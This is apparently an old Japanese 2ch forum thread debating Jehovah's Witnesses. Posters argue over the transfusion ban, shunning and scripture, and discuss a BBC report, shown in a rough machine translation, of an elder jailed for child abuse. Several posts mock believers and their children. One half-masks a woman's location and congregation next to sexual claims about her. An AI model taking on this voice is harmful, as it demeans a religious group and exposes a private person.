拒否することができますか。拒否しないまでも、「いずれエホバが正される」
という態度は、単に逃げているだけ、問題を先送りしているだけです。

＞エホバの証人は神を第一に考えてます。

結構です。ぜひそうなさってください。

＞組織が生み出した良い実には何も目を留められないのですか？

良いことをしていることもあるのは認めます。
しかし、どれほど良いことをしようが、悪事は悪事です。
良いことをしているから悪事には目をつぶるというのでは、殺人犯であっても
小さな善行をすれば野放しになってしまいますよ。

＞証人は組織なんかより神に依存しているのですよ。

組織「なんか」、ですか。だいぶ組織を軽く見ておられるようですね。
では、組織を離れてご自分一人で神と向かい合われてはいかがですか。

＞だからいくら組織批判をしようが、信仰は揺るぎません。

信仰を守りたいなら、ご自由にどうぞ。
私は532-543にコピペされた文章に対して、そしてその文章を発行した
ものみの塔の姿勢に対して批判をしただけです。

先日、我が家にもとうとうそこそこ身なりの良い婦人が
薄汚いガキ連れて
「イエスとエホバがどうたらこうたら・・・」とダラダラ演説しに来ました。
あぁ・・コレが噂の・・・と思いつつ、
ここでネタにしようと最後まで話聞いてやりました。
内容は殆ど覚えてないけど、ついて来たガキはちゃんと
隣で直立不動してたよ、３分くらい。
その後はキョロキョロと我が家を見回してた。
もしかして泥棒の下見か？と思っちゃったね。

どうやって、勧誘にきたおねーちゃんとＨな関係までもちこんだの？
全然落とせないよ〜
＞＞やった人たち

どなたかエホバの証人で正気の人間がいたら紹介してください。
自薦他薦を問いません。

笑気だが　何か

ぼくは正気です
山田米男です

逝ったもん勝ちだろ（ｗ

たがいに相手のことを「正気じゃない」と思ってろよ。

他のスレを読んで、ふと思った素朴な疑問。

人工なら良いの？
天然でも人工でも血液は血液じゃないのかな。

天然鯛と養殖鯛は育った環境が違うだけだから一緒だけど
人工衛星と本物の衛星は違うと思うんだけどな　　どうだろ？

>>586
あなたのように「いけないんじゃないかな」と思う人は、拒むべきです。
組織は決して「これを受け入れなさい」と命令しているわけではありませんから。

人工エホバ。

boy's

>キョロキョロ
拉致の下見

まあとにかく勝手な規則をたくさん作るからねぇ・・・
言い訳は大得意でしょ。

＞かもしれません。
これは常套句。いくらでも言い逃れできるし、
「不完全な人間ですから・・・」で済むし。

じゃあ「聖霊が注がれている」てのはどういうことなんだろか（笑）

>>577さんのパクリ

エホ証：「私は油が注がれた人間ですから・・・」

家の人：「私も同じく油が注がれた人間なんですけど・・・」

エホ証：「・・・・・・・・・。」（−−；

いや、それでも言い訳するのさ（笑）

不完全な人間・組織打から真理を間違ってとる＝盲人
盲人が盲人を手引きすれば・・・
ほら、自分の口で証明してるじゃん。

ageんな・・・

ここで批判してる皆さん、論理的に攻めると色々なことが明らかになりそうです。

判ったからageんな・・・

俺は聖書自体は良い物だし、教えも良いと思う（原則）。
規則を作りはじめた今の彼等はキリスト時代の「パリサイ人」と変わらないように思う。
地域監督、巡回監督が何であんなに高慢な態度を示すのかも理解に苦しむ。
まぁ、ある意味社会で通用しないからああいうところでしか自分を誇示できないというところもあるんだろうが。
彼等なりのブランド志向が鼻につくことがけっこうあったなぁ・・・シミジミ。

数々の予言がはずれたことについても
全く責任とって無いな。

一部のエホ症が勝手に考えたんだとさｗ

　　　 　 ＿＿＿＿＿
　　　 ／//////////ヽ,,
　　　ｆ ﾒー-----ー弋メヽ
　　　ﾄ|　___ ____ ____　.|ミﾐ|　 　 　＿＿＿＿＿＿＿＿＿＿
　　　ﾄ|_,,,,,,__ﾒ __,,,,,,_　|ミﾐ|　 　／
　　　ｆ|.-=・=Ｈ-=・=~iｰ6}ﾘ　＜エホ症には苦言を呈しておく。　
　 　 'ﾋ______ﾉﾊ､_____ﾉ　!!|　　　|　
　　　 ｆ　 _, ,ム、､_　　 ./　　 　＼　
　　　 ヽ　ｨ-==ｰ-i, ,ノ 人　　　 　￣￣￣￣￣￣￣￣￣￣
　　　　 ＼,_＿＿_／／　/~丶_
　　　　　　人,_____／　／　　　＼
　　　　 ／|_/又　＼ /

アルベルト・フジモリ元ペルー大統領さんも関心あるのですか？

>>600
レールウェイライターの種村直樹氏？

>>588
私：「今度の手術で輸血をしなければ命が危ないと医者に言われたのですが、どうすればよいでしょう？」
長老：「それはしてはいけないでしょう！。血を避けなさいと聖書に書いてあるではありませんか。」
私：「それは組織の命令ですか？、それとも提案ですか？」
長老：「もちろんこれは提案にすぎません。」
私：「じゃあ、輸血してもらおうと思います。死にたくないし、家族の面倒を見る責任がありますから。」
長老：「じゃああなたは排斥です。」
私：「・・・・・・。」

ってな感じですね。拒否権、選択権がない以上、提案とは言えないよ。

ＪＷ信者さんは、ここをどの様に理解するのかな。

ヨハネ6:60
そこで、弟子たちのうちの多くの者が、これを聞いて言った。
「これはひどいことばだ。そんなことをだれがきいておられようか。」

血を飲み、肉を食べなさい、と言われた時の弟子たちの反応だけどね。
これを受け入れなかった弟子はイエス・キリストから離れていった、
とも書いてあるけど。

>>604
続きの文脈を読もうぜ！

>>605
読んでいますが。
説明があるなら、説明してください。

＞　血を飲み、肉を食べなさい、と言われた時の弟子たちの反応だけどね。
＞　これを受け入れなかった弟子はイエス・キリストから離れていった、
＞　とも書いてあるけど。

続きを教えてください。イエス・キリストから離れていかなかった弟子達が
イエスの肉を食べ、イエスの血を飲んだ（リアルで）のであればエホ証の教
え　−血を避けなさい−　は非聖書的であると証明できますね。

Boy'sさん。
彼らは聖書の奥義について理解していません。例えで語られだらいかがですか？
目に見て見えず、耳にして聞こえず、悔い改めて悟らないために。

ここに、淫行を避ける様にと言う組織があります。
もう一つここに、淫行（性犯罪など）を隠蔽し擁護する組織があります。

この２つは同じ組織です。

ここに何でも突き通す矛があり、
もう一つここに何も突き通せない盾があります。

「では、その矛で盾を突いたらどうなるのですか？」

＞　「では、その矛で盾を突いたらどうなるのですか？」

はいせきになります。

>>606
イエスの体であらわされている購いと、イエスを仲介者とする
新しい契約をあらわすんでないの？

そうですよ。イエスにあのようなことを言ったもの達は、血を避けるようにという律法に忠実に従っていたために真理から離れていったんです。

>612
だからエホバの証人って言うんじゃないの？
イエスが神なら輸血OK
エホバが神だから輸血ＮＧ

宮○県名○北会衆○岩、とりあえず妊娠しなくて良かったね！！
はじめに誘ったのはお前の方だからなー

既婚エホ女と付き合い始めた者です。
たまに二人きりで会って、ドライブに出かけたり食事したりしてます。
まだ体を奪ってはいませんが、いずれは、、、、と思ってます。
これ排斥もんだよな。

usodaro

そりゃ血は避けなきゃいかんだろ信徒なら。
なんせ神は自分だけによこせって言ってるんだから。
ま、あれだ。
試さなきゃ信徒の心もわからんようなのは信じるなってことだ。
もともと少数民族の精神的自己防衛から生まれた宗教で、
他の宗教から吸いまくりの迫害しまくりだからな。

ＪＷの主張
レビ記7
１４、すべての肉のいのちは、その血が、命そのものである。
　　　それゆえ、わたしはイスラエル人に言っている。『あなたはたは、どんな肉の血も
　　　食べてはならない。すべての肉のいのちは、その血そのものであるからだ。
　　　それを食べる者はだれでも断ち切れられなければならない。』
使徒15
２０、ただ、偶像にそなえてた物と不品行と絞め殺した物と不品行と絞め殺したものと
　　　血とををさけるように書き送るべきだと思います。

私の反論、
１）旧約聖書の律法（重要ではあるが。）からは、すでに解放された。
２）使徒15：20の内容は、神に立ち返る異邦人が悩まない為だけの物である。

ローマ６
１４、と言うのは、罪はあなたがたを支配することがないからです。
　　　なぜなら、あなたがたは律法の下になく、恵みのしたにあるからです。
ローマ７
６、　しかし、今は自分たちを捕らえていた律法に対して死んだので、それから解放され、
　　　その結果、古い文字にはよらず、新しい御霊によって仕えているのです。
ガラテヤ３
２４、こうして、律法は私たちをキリストへ導くための私たちの養育がかりとなりました。
　　　私たちが信仰によって義とみとめられるためなのです。
２５、しかし、信仰が現れた以上、私たちは養育係の下にはいません。

ローマ２０
１９、そこで、私の判断では、神に立ち返る異邦人を悩ませてはなりません。
２０、ただ、偶像にそなえてた物と不品行と絞め殺した物と不品行と絞め殺したものと
　　　血とををさけるように書き送るべきだと思います。
２１、昔から、町ごとにモーセの律法を宣べる者がいて、
　　　それらが安息日ごとに諸会堂で読まれているからです。

X　レビ記7
O　レビ記17

今回は、ほかのHPを参考にしました。
コピペじゃないんで許してください。

どなたかエホバの証人で自他共に認める幸せ者がいたら名乗り出てください。
自薦他薦を問いません。

アベル

>>621
エホ証と一緒にするなよ。

ああ、辞めたから幸せになった。とか、スッキリした。とかは聞くけど
信者なので幸せです。ってのは聞いたことないな。

幸せって主観的なものだから、自分で幸せと思えれば良いと思うけど。
なんか、信者さんを見ていると、かえってストレスをため込んでいるみたいですね。

だって、集会で楽しそうにしている信者さんを見たこと無いし。

>>618の間違いがまだあった。

X　ローマ２０
O　使徒１５

最悪だね。。。

世でも幸せなやつは2chなんかこないと思う。
　　　　　　　　↑
　　　　　 ﾍﾝｹｰﾝ

(・∀・)ｽﾝｽﾝｽ-ﾝ♪ ( ﾟдﾟ)ﾊｯ!

エホ証関係の変なサイト↓
http://fuh.cool.ne.jp/

かな−リ怪しいですね
特にＩＤとパスワードを求められるページがあるのでいかがわしさを感じます。

ＢＢＣで「エホバの証人」に関する番組が放送されるようです。

http://watchtower.observer.org/
http://news.bbc.co.uk/hi/english/audiovideo/programmes/panorama/default.stm

創価板でエホ証関係のスレを発見！
http://kaba.2ch.net/test/read.cgi/koumei/1026591432/-100

イギリスでエホバの証人の長老が
「虐待で逮捕」された模様。
顔写真もあり。
http://news.bbc.co.uk/hi/english/uk/england/newsid_2123000/2123546.stm

聖書 ルカ 8:17
（17） 隠されているもので明らかにならないものはなく、また、
注意深く秘められているもので知られずに終わり、
あらわにならずに済むものは決してないのです。

聖書にある通りです。

>>630
めがびにもエホスレいっぱいあるよ。というか建てすぎ。
http://www.megabbs.com/philosophy/index.html

>>631 エキサイトで翻訳してみた。
＿＿＿＿＿

【エホバの目撃者は少年の虐待のために投獄されました。 】

ジェームズBarrattは彼の文を始めるために遠方にリードされます。

エホバの目撃者教会の年長者は児童虐待のために投獄されました。
ジェームズBarratt、45、ラグビーに、Warwickshire(2人の子供との既婚の人)はバイブル
研究用に彼に任せられた2人のティーンエイジャーを不謹慎にも攻撃し助言に対して罪の
あるように感じられました。
裁判所は、Barratt(教会年長者)が「系統的に」持っていると聞きました、10年の期間の彼
の集合の2つの前会員を乱用しました。
ウォリック王冠コートは、不謹慎にもティーンエイジャーを攻撃する機会として、Barratt(少
年の家族の信頼された友人)がバイブルレッスンおよび助言するセッションを使用したと
聞きました。


4日間の試みの全体にわたって、Barrattは、少年への理想的父親像であるとなろうと彼が
したと主張しました。
彼に判決を下して、裁判官ジェームズ槍は、彼が脆弱な若い人々を託されたと言いました
。大偽善者であると彼は言いました。
Barrattは保留されて、12か月で2年間投獄されました。彼は10年間性犯罪者の登録の上
に置かれるでしょう。
Warwickshire警察の探偵検査官ジム・ヒル:「私は、彼が非常に危険な個人であると考えま
す。犠牲者への彼のアプローチは親によってありました。

「彼は家族と非常に強い契約を形成しました。また、明白に、彼は次にその信頼を乱用
しました。」

彼の犠牲のうちの1つ、ゴードン・グラント(23(今))は、教会の主張への反応によって失望
したと言いました。
「人々がこの問題を持っている場合、年長者あるいは教会のリーダーに行きません。
それらを思い悩まないでください。
「警察に直接に行って、誰が経験を積んでいるか、それらが何を行っている?ｩ知っている
かを人々を扱うとしてください。」

＞エホバの目撃者

世の中から排斥！！！！

をり腹っ！　てめえ何やってんだよ
http://kaba.2ch.net/test/read.cgi/koumei/1026591432/l50

批判されると「迫害」だのと騒ぐエホ証の面々・・・・

批判される様な事をしなければ、誰も批判しませんよ。。。

国連ＮＧＯ加盟
長年に渡る性的虐待の隠蔽
ホモ（？）の兄弟による，少年に対する性的虐待行為
ｅｔｃ・・・

こんなのは、氷山の一角だと思いますが、批判を受ける様な行為を
していて、わざわざ『騒ぐな』と言いたいニダ。

なんていいますか。
BBCのHPを読んでの感想としましては、
「今どき、エホバの目撃者が悪いことをするのは普通だろ。」と思いましたね。
普通すぎて「わーい。」と騒ぐ気にもなれませんね。
騒いだ方が良いと思うけどね。

ただ、あれかな。
エホバの目撃者は一般家庭の伝道に力を入れているけど、
今までは、害の無い連中だから放置しといた部分があるけど
これからは「エホバの目撃者がきたら気をつけなさい。」と
人に言うだろうな。

ああ、この”害のない”ってのは、いきなり噛みついたりはしない。
ってレベルね。

あ、意見がぶつかちゃったかな。

>>637
>わざわざ（エホバの目撃者は）『騒ぐな』と言いたいニダ。
かな？

私は >（反対者は）騒いだ方が良いと思うけどね。
だよ。

>>639
エホ証に対しての発言であるニダ。

私は「反対者」（敵対者の方が表現としては的確かも。）なので
大いに騒ぎ・攻撃したいニダ。

＞640
あ、了解！
私と同意見みたいね。

>>640-641
で、具体的に何をやるの？（ぴゅあ
批判サイトでも立ち上げるの？それともエホの人に逆宣伝？

>>642
もちろん戸別訪問

>>642
わー、懐かしい。
「（ぴゅあ　」って、まだ使っている人がるんだ。

それはともかく、普段は知り合いに、エホバの目撃者には、
関わらない方が良いと言いふらしていますけどね。

えーと、
輸血禁止、クリスマス禁止、誕生日禁止、学校で柔道禁止、
まあ、このぐらい言えば、全員ひきますね。

児童性的虐待者の比率が、他の宗教より多く、その犯罪者を保護し
事件を隠蔽する組織。

と、教えてあげるだけで知人は(((((( ;゜Д゜)))))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ　と、
震えていました。

http://tmp.2ch.net/test/read.cgi/company/1026700398/l50

>>645
の説明は簡潔で、要領を得ており、読者に考えさせるよい説明の仕方です。
輸血の禁止は、未信者または未成年の家族を巻き込む場合を
聴き手が想起できない場合は、自己決定の問題として理解され
よい問題提起にならない可能性があります。（エホ風）

>>645
たしかにこれは鋭く痛いですね。

というか、懲らしめの鞭自体が
立派な児童虐待ですが…

>>649
「バランスの取れた」鞭の場合もあるので必ずしもよい例ではない。
やはり645が最強ではないでしょうか。WWWに資料がたくさんあるのも吉。

鞭にバランスも何もない。
立派な虐待です。
アメリカじゃ捕まります。

エホ症の得意の言い訳
「私達は不完全な人間ですから」

>>647
>>648
はい。ありがとうございます。
次から状況を見ながら、使い分けます。

＞エホバの目撃者さん
伝道の妨害権を主張します。

「統治体の成員も不完全な人間ですから」
とか言ったら排斥か？

ところでエホ証は、「家から家への伝道＝イエスがクリスチャンに望むもの」
として、戸別伝道を行うエホ証こそ唯一の神の組織と自負しているようだが、
その点に関して、キリスト教徒の意見は？
つまり、イエスが「弟子をつくりなさい」「述べ伝えなさい」と言ったことを
どのように実践しているのかを知りたし。

いや、統治体も不完全なんだとｗ

しかし「統治体」って思いっきり全体主義・共産主義的
中央集権体制だな。

イエスは個人の家に押し掛けることはせず街角で真理を説き、招かれればその家に行くというものだった。それは御業の伴うものだった。同じように弟子達も見習った。

聖書に「淫行を避けよ」と書かれていたので、日曜日の集会後に
「断絶届け」を提出しました。

性的な犯罪を隠蔽し、淫行を避けていない組織から離れる
という私の判断は間違っていますか？

>>657
組織全体に淫行を奨励する傾向があるなら判断は正しいでしょう
これからどのように神のご意志を続けてゆきますか？

ブルックリンの老いぼれたちに本気で騙されてる人って
エホバの証人の何パーセントくらいですか？

>>658
断絶できる意志がある人なのだから
一人でも続けられると思いますよ。
組織なんていらない。

>>657さんへ
あなたは正しく勇気のある方です。
ご判断を支持します。

>>654　個人的な意見を言わしてもらうね。

イエスの布教のとき、群集自らイエスに従ったよね。
人の「求める気持ち」が、人を真理に向かわせるのではないだろうか。
個別訪問、しかもノルマは・・・人の自由意志を無視してないか。と感じる。

ローマ書にも
「彼らはともに神を賛美し、人々から好意をもたれた
神は日々、彼らに仲間を加えられた」とあるように、

まず共同体として健全であること、主の証し人として
最も重要なことはそれではないだろうか。

もちろんキリスト教会すべてが健全とは
行ってないよ。しかし主を中心におく人々の集まりは、
少なくとも健全に守られている、というのを私はこの目で見て知っている。
問題が起こるようなキリスト教会は実際、ごくわずかだ。

>>658

黙々と日々聖書を読んで、善いと思う事を生活の中で
実践して行こうと考えています。
もちろん、個人でですが。

エホバの証人の信者がやって来て、世界統一の話しを聞かされたけど。
どうして、世界統一の話しをするの？　誰か、教えて。

http://news.bbc.co.uk/olmedia/cta/progs/panorama/latest.ram

>>663
御決断に敬意を表し、前途に神の御旨が行われるようお祈りいたします。
私は、ヨハネ伝の「『あなたがた』が集まって祈るとき」……などから、
他の人たちと共に祈る＝教会に身を置くことが大事だと考えるに至りま
した（そこに至るまでちょうど１８年かかりました。で、ある教会に
通うことに決めて、いったその日に「１８年流出に悩んだ女の奇跡」の
聖句がちょうど読まれ、そのとき神の導きを確信しました。）が、
５年目さんのポスト・エホ生活はこれから。
差し出がましい言い方でしょうが、ゆっくり「社会復帰」されて
いくのが、よろしいかと。もちろん新世界訳じゃない聖書でね：）

いろいろこの先も考えること感じること、あると思いますが、
折りに触れてこのスレにもお運びくださいね。

ちょっと質問なんですけど、何年か前、私がまだ熱心に勉強していたころ
夏の大会に一度だけ参加しましたが、そのときに歌っていた歌（賛美歌？）が
とても印象深くわすれられません。どなたか御存じの方いらっしゃいますでしょうか？
マーラーの静かな曲に似ているとても厳かでしっとりした曲でした。
もちろんこのことを当時いろいろ家に来て教えてくださっていたエホバの証人の
ひとにもきいたんですが、すこし後だったのでうまくわかりませんでした。
・・これだけじゃ、わかりませんよね？

>>667
おぼろげな歌詞の内容と、長調か短調かがあると、レスつきやすいんじゃ
ないかな。役にたたなくてスマソ。

>>667
ボイスが使えたらいいのにね
ハミングなんかしたらわかるかもよ

創価の折原スレが無くなったな。
まったく折原ってやつは、どこまで汚いのか見当もつかんよ。

レス、ありがとうございます。

>>656
あなたがイエスの弟子を自認するのでしたら質問させてください。
あなたは656の書き込みのように、イエスに倣っておられますか？

>>662
そうですね。自らの意思は重要だと思います。
しかし、世の中には福音を知らずに日々を過ごしている人も居ます。
そのような方々に対して、街頭でふれ告げるなり、家々へ伝道するなりの「行動」
が、キリスト教徒には義務として存在するのでしょうか？
義務であるなら、キリスト教徒はどのような仕方でそれを成しているのでしょうか？

･･･なんか、反キリスト教のような書き込みですけど、私は反エホ証なのでいちおう
ことわっておきます。
エホ証があまりにも「伝道」をかさにきているので、訊きたかったのです。

エホバの証人は、何も聖書のことを理解していないようですね。
今日もイザヤ書の研究に参加させていただきましたが、全く真理を突いていないようです。
ものすごく愚かしい考え方を押しつけられているように感じました。
イエスは律法と預言者とは二つの愛の原則にかかっていると言われましたが、あなたがたの考えは極度の選民思想にかかっています。
即ち、自分達だけが救われれば他のものはどうでもよいと。言葉の端々に出ていますよ。
知っていますか？神は全ての者が救われることを望んでおられるんですよ。ペテロ第二に書かれている通りです

>>672
だから他の人たちも救いに至れるように
家から家へと熱心に宣べ伝えているではありませんか。

671さん。
わたしは656に書き込んだものでエホバの証人の研究生です。
人間関係上の理由から研究を始めたのですが、やればやるほど聖書との矛盾に気付きます。もうすぐ離れると思います。
わたしは聖書の奥義に気付きましたし、２ちゃんでもそれをたまに書き込んだりしています。
そして、神はわたしに大いなる業、癒しの賜物、預言の力を与えられています。まぁ、これは信じてくれなくて結構です。
神と律法と預言の本質に気付いたとき、彼らを憐れに思いました。

皆さん、いつまで無限ループを続けるつもりですか？

いくら伝道したところで教える知識が真理でなければ余計ひとを惑わし躓かせます。
先ほど書きましたが、あなたがたの後ろに在る思想は極度の選民思想であり、組織の考え方です。決して愛に基づくものではありません。
あなたがたは律法を堅く守っていますが、律法によって義と宣せられるわけではありません。信仰によって義と宣せられるのです。
信仰とは二つの愛の原則を行なうことです。全ての律法は愛によって全うされるからです。
あなたがたは神を見いだしたとき、律法に反することはしなくなります。

エホバの証人＝母子家庭
最近では身体障害者を利用している。

弱い者を利用して金儲けするなる

それによって、神の『わたしは律法をあなたがたの心の書き板に書き記した』という言葉が成就するのです。
聞く耳のあるものは貴聞くがよい。

もうＪＷやめるかも〜

やめちゃえ

この書き込みを創価公明板の私の掲示板に書き込んだ者は、名乗り出なさい。
↓
11 ：名無しさん＠お腹いっぱい。 ：02/07/16 01:07 ID:xWb87CsM
なんか書いたら？＞折原
また逃げるのか？

折原うるせえ、バカ

>>681
なに命令口調でもの言ってんの。
なに様よ。
あちらこちらで恥さらしてるの、そちらでしょ。
自分で収集つけたら。。。

ああ、前もって言っとくけど私じゃ無いよ。
コテハンでしか書かないから。

エホ証どうでもいいけど、もうほかのスレ荒さんといて。
本当に頼みます。君たちから見てサタンなのかも知れないけど、
だからといって、迷惑をかけていいわけじゃないんだよ。
わきまえは最低限持ってください。

折原氏・・・なんですか、
「創価公明板の『私の』掲示板」って。根本から勘違いしてませんか。

突然であるが、全国のエホビアンに言いたい。
つまらん本をポストに入れるのはやめてくれっー！
今度入れたら滅ぼすっ！

「ふざけるな」としか言いようがないよ。あんたらには。

デタラメな聖書解釈を蒔かないでください。

エホ証は「荒らす」事が正義なのですよね。
それ、間違っていますよ。

その通りです。イエスや使徒達が伝えた言葉を曲げないで下さい。みんな狂信しています。かわいそうです（涙

言い忘れたが、再度、全国のエホビアンに言いたい。
下らんハンカチを売りに来るのはやめてくれっー！
今度来たら完全に滅ぼすっ！

>>690なんか勘違いしてねー？ハンカチなんか売らんわい!!
　　　




　　　　(偽善の)優しさと笑顔なら売っとるが。

>>675　はるまげどん

>>672
＞自分達だけが救われれば他のものはどうでもよいと。言葉の端々に出ていますよ。
＞知っていますか？神は全ての者が救われることを望んでおられるんですよ。ペテロ第二に書かれている通りです

全ての人が至高の神の側に立場を置き、そのような人々が救われるのを神は望んでおられるのです
他の人にもそういう選択ができるよう伝道によって手を差し伸べているのです

ペテロ第二３：９の後半の部分では　「すべての者が悔い改めに至ることを望まれるので、あなた方に対して辛抱しておられるのです」と書かれています
あなた方とは、当時の油そそがれた者たちをあらわしていたのではありませんか
神の民ではあってもまだ進歩や調整が必用な人が居たのでしょう

私個人的には、イザヤ書で学んでいる部分は現役ＪＷが神の”辛抱”に答えるべくさらに進歩し自分の問題点を改善するように促されていると感じています

いまさんへ
イザヤ書の研究に関して、否定的な考えをお持ちのようですね。
聖書の奥義についてあなたがどのように理解されているのか分かりませんが、その一つは、‘約束された胤’を通して、すべての国民を祝福するというものです。
その課程にあるのが、アブラハム契約、律法契約です。その一面を見ると選民思想という言葉はイスラエル人に当てはまります。
しかし、新しい律法契約が効力を持つようになってから、神の民となる機会はすべての人に開かれました。
わたしたちJWは選ばれた国民であるとは考えていません。
昨日の書籍研究で強調されていたのは、個々の人々があがないに信仰を働かせることによって、その益を享受できるというものでした。
しかし、JWの中に選民思想的な考え方を抱いている人がいるのも事実です。そうした人々の信仰は試されるでしょう。
あなたは鋭い考察力という賜物をもっておられます。あなたと個人的に話すことができないのが残念です。

私の解釈はエホバの証人とも他のキリスト教とも異なるかも知りません。
イエスの贖いの犠牲の祝福とは約束の胤によって、私達が罪と死の律法から解き放たれ永遠の命を得るということだと思います。現にそう書かれています。
エホバの証人は未だ義を得るために律法を「守ろうとして行動」することを教えています。
しかし、律法によっては義と宣せられることはなく、ただ信仰（愛であること）によってのみ義と宣せられます。
なぜなら、全ての律法は愛によって全うされるからです。
この事が聖書全体を通して語られているように思います。

>なぜなら、全ての律法は愛によって全うされるからです。
>この事が聖書全体を通して語られているように思います。

まさしくそうだと。
というより、ここをはずしては、神が人に伝えようとされたことが
みな無になってしまいます、よね。

しかし、エホバの証人は今回の物見の塔研究において、何ら愛の原則に言及することなく、義は愛と深く関わりがありますとしか述べていません。
つまり、根本的なものに気付いていないようなのです。
またこのように考えると、私達の復活とはイエスの教えと人間性に目覚めることだと言えます。
イエスはだれでも新しく生まれなければ神の国に入ることはできないと言われました。バプテスマの本当の意義は、これの象徴的儀式であるということです（所詮儀式にしか過ぎないわけですが）。

公に宣言することはどこでもできますし、所詮バプテスマは仲間内だけの宣言にほかなりません。
聖書は神の王国はあなたがたのただ中に在るて述べています。これはイエス自身を指して言われたのではなく、ひとの内に在る神の特質である愛を指して言われたのだと思います。
当時目覚めていないパリサイ人に対する諭しだったのです。
そして、イエスはこの事が全世界で読まれることを知っていました。私達に対して言われたのです。
どちらかというと、わたしは正統キリスト教というより、グノーシス的な考え方ですね。

いまさんへ
エホバの証人は律法を守ることにより義と宣せられると教えてはいません。
クリスチャンであろうとなかろうと私たちは日々間違いを犯します。聖書に記されている行動規範をわたしたちは誰しも守ることはできないのです。ですからあがないの犠牲に信仰を働かせる必要があります。
イエスは信仰を持つものは自分の後に従う(その模範に従う)ようにと勧められました。ですから、その模範に習うよう注意を働かせる必要があります。聖書の原則を生活の中で適用する努力を払う事がすべてのクリスチャンに求められています。
信仰と愛を表す事とは厳密にはことなります。(ヘブライ11:1)

>>699

玄関先に押しかけることや、福音派牧師やカトリックを攻撃すること、
他宗教のスレを荒らすこととの関連性も、
そこから説明していただけるとありがたいのですが。

説明できません

>>700
のようなことを、エホ証は「正しい」と思ってやっているのか。
それとも「人間はマチガイをおかす」の範疇なのか。

どっち？まったく悪びれないところを見ると前者だと思うが。
この板の執拗な福音派攻撃・スレ荒らし、無意味な律法違反攻撃スレ
はエホバだろ。レスの中身で微妙に見分けがつくんだよ。

わたしは他の宗教のスレを見たことがありませんので何とも言えませんが、エホバの証人の中に平衡の欠けた見方を持つ人がいるのは事実です。
そうした人はごく少数ですが、他の宗教を攻撃したりスレ荒らしたりするそれらの人々がJW全体に対して偏見を抱かせる原因になっている事に気づいてほしいものです。
そうした行為によって心象を害されている皆様に心よりお詫びいたしたいと思います。

いいえ、信仰とは見えない実体についての明白な論証です。
見えない実体とは、神の愛のことであり、それを思考・言葉・行為において一致して為すことが論証と言えるでしょう。これが出来たときに始めて律法が成就されるのです。
神は、『わたしは、わたしの律法を彼らの心のなかに置き、それを彼らの思いのなかに書き記す』と言われたではありませんか。
みちのりさんは、律法を守ることは教えていないと言われましたが、今回の記事では義の基準が律法であると述べられています。この点をどう説明されますか。

>>703

もうちょっと、真面目に答えていただきたい。
福音派やカトリックへの攻撃を、エホ証は「義認」していませんか？
「人から反感を買うからダメ」というのは理由にならないですよね。
それは単なる教団擁護です。

例えば、霊の実という男性のサイトで、福音派牧師が
実名と写真入りで「サタン」扱いされ、晒されています。
これはエホ証であるあなたにとって、正しい行為ですか？
誤った行為ですか？

>>703

>JW全体に対して偏見を抱かせる原因になっている事に気づいてほしいものです。

ここに本音が表れているという気がします。
他の迷惑より、教団の評判なんですよね。はあ〜・・・。

いまさんへ
確かにグノーシス的ですね。という事は文字通りの復活はないというのがあなたの考え方なのでしょうか？(コリント第一15:12-21;使徒24:15)
確かに人間は誰しも霊性を発揮する能力を持っています。しかし、王国があなた方のただ中にあると言われた時の文脈をよく読むならば、それがパリサイ人の心の状態に関して言及しているのでない事は明らかです。

そうした行為は非聖書的であり間違った行為です。それを続ける人は排斥される事になります。

＞　例えば、霊の実という男性のサイトで、福音派牧師が
＞　実名と写真入りで「サタン」扱いされ、晒されています。

わたしたちは特定の個人を「福音派である」との理由で晒すことは
いたしません。もしかしてその方は、非難に値する行ないを何もし
ていないのに悪い扱いを受けているのでしょうか。しかし、何らか
の行動に対して「霊の実」氏が、それは良くない事だ、と感じている
のであればその事を表明するのはずべての人に与えられた「表現の
自由」の範囲内の発言と言えます。

>>706 確かにわたしはエホバの証人ですから、その団体に対する評判は気になりますよ。
わたしが危惧しているのは、他の宗教のを攻撃する人が、自分が正しい事を行っていると勘違いしている事です。まさに彼ら自身が中傷する者(サタン)である事に気づいていないのです。

イエスは、神の国は目に見えるかたちで来るのではない。見よ、ここを、そこを、というのでもない、と言われました。目に見えないのであれば、イエス自身も目に見えないはずです。
復活というものはないと思います。あなたは神の元々の目的を知っていますか？特定の者の復活はその目的に合致しないのですよ。
神がなぜ創造という行為をされたのか、考えてみて下さい。

>>709

カルト問題に取り組んでいる牧師さんですね。
エホ証の信徒を強引に改宗させたという角で訴えられ、
裁判でその牧師が負けています。

>何らか
>の行動に対して「霊の実」氏が、それは良くない事だ、と感じている
>のであればその

エホ証は裁判に委ね、
その結果勝っているわけです。良い、悪いは司法に委ねた。

問題はその先ですね。その牧師を実名と写真入りで晒している。
文脈は正に「サタンを晒す」といった具合でした。

>ずべての人に与えられた「表現の
>自由」の範囲内の発言と言えます。

表現の自由と善悪の判断が別物であることを、宗教者ならば分かると
思うのですが。

なお私は福音派でもないし、その牧師とは縁もゆかりもありません。

いまさんへ
あなたとの聖書の話し合いは興味深いものです。もしよろしければ、[email protected]までメールをいただければと思います。

つうか、いまって奴きもいよ。
お前の勝手な解釈を人に押し付けるな。
愛愛ってほざいてるけど、お前はどうやってそれを実践してるんだい？

特定の者の復活はその目的に合致しないとはどのような意味ですか？
あなたはどれくらいの期間、聖書を学ばれていますか？失礼ですが、聖書全体に対する知識が欠けているように思えるのですが・・・

>>681
オレだけど何か？

みちのりって証人なの？

>>694
JWに「ﾊﾙﾏｹﾞを生き残るのは誰ですか？」って聞いたら100％の人が「エホバの証人だけです！」
って言うと思うよ。そうじゃなかったらJWという宗教でなくても救われることになっちゃうから、
教義と矛盾しちゃうもんね。出版物では直接的な表現こそしてないものの、皆そのように解釈
してると思いますけど？

>>718
＞JWに「ﾊﾙﾏｹﾞを生き残るのは誰ですか？」って聞いたら100％の人が「エホバの証人だけです！」
って言うと思うよ。

正確には「真のクリスチャン」です　　彼らはそれを目指しています
エホバの証人という立場を名乗るだけで救われるのではありません

>>719
>正確には「真のクリスチャン」です　　彼らはそれを目指しています
>エホバの証人という立場を名乗るだけで救われるのではありません

正確には「自称クリスチャン」です
クリスチャンという立場を名乗るだけでクリスチャンと認められる
わけではありません。

エホバの証人をクリスチャンと認識している人は少ないと思われます。

>なぜなら、全ての律法は審理委員会によって全うされるからです。
てこと？

世の中には、善い人も悪い人もいます。

エホバの証人の中にも、善い人も悪い人もいます。

しかし、エホバの証人eyeでは、世の中の善い人もひっくるめて
「世の人」として滅びの側に区別しています。

その様な言動をしているにも係らず、世の人間がエホバの証人の中の
